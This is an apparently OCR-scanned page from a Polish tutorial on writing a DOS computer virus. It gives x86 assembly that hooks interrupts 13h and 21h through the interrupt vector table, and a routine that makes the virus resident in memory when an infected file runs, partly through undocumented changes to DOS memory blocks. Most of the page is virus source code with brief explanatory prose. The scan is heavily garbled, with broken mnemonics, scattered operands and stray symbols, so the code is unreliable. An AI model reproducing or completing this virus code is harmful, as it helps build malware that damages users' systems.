57
xor dx,dx
mov es # dx ; DS = CS , ES = O
mov ax,es:4ch
mov word ptr[adres„13h_ofs],ax
mov es:4ch,offset przerwanie_13h
Zapamiętanie oryginalnego i ustawienie nowego adresu procedury obsługi przerwania 13H (offset i segment)
mov
mov
mov
mov
mov
mov
axres:4eh
word ptr adres_13h_ofs[2] , ax
es:4eh#cx
ax,es:84h
word ptr[adres_21h_ofs],ax es:84n,offset przerwanie„21h
mov ax,es;86h ; Zapamiętanie oryginalnego
; i ustawienie
mov word ptr adres_21h_ofs[2],ax ; nowego adresu
? procedury obsługi
mov es:86h,cx ; przerwania 21H {offset i segment)
kon i ec_zmiany_adresów:
pop |
ec |
pop |
ds |
pop |
dx |
pop |
cx |
pop |
bx |
PW cli ret |
ax |
Powyższe procedury instalują wirusa w pamięci podczas startu systemu* Przechwytywanie przerwań i kopiowanie w bezpieczne miejsce pamięci podczas uruchamiania wirusa z zarażonego pliku jest prostsze, gdyż odbywa się tylko w jednej fazie. Poniżej przedstawiona jest procedura, która instaluje wirusa w pamięci podczas uruchamiania zarażonego pliku. Zakładam, tak jak poprzednio, że kod wirusa zaczyna się od adresu tablica_partyqi, a kończy na adresie koniec.
pr z ec hwyc en i e_pr z er wan: push push mov mov shr
ds
es
bx,{(offset koniec) - (offset tablica_partycji)) cl, 4
bx,cl ; ustalanie ile pamięci
inc
mov
int
jnc
muv
mov
shr
inc
mov
mov
mov
sub
mov
push
mov
dec
mov
mov
sub
mov
pop
;(w pargrafach 16 - bajtowych) jest bx ; potrzebne dla wirusa
ah,48h ; i przydział tej pamięci
21h
pamięć przydzi e1ona
bx,((offset koniec) - (offset tablica_partycji)) cl # 4
bx#cl ; W przypadku, gdy pamięć nie została ; przydzielona
bx ; ponowne obliczenie ile pamięci potrzeba
ax,ds ; i ponowny przydział pamięci w sposob es,ax ; nieudokumentowany korzystając z tego, ax,es:2 ;w jaki sposob DOS oznacza bloki pamięci, ax, bx es:2,ax ax
ax, es
ax
es, ax ax, es :3 ax, bx es:3,ax ax
parni ec^pr zydz i e łona:
push |
ax ; |
mov |
bx,cs ; |
mov |
ds, bx |
mov |
es, ax |
mov |
di,offset |
KOV |
si,offset |
tablica partvc~j i tablica__partycj i
w rejestrze AX numer segmentu, który został przydzielony wirusowi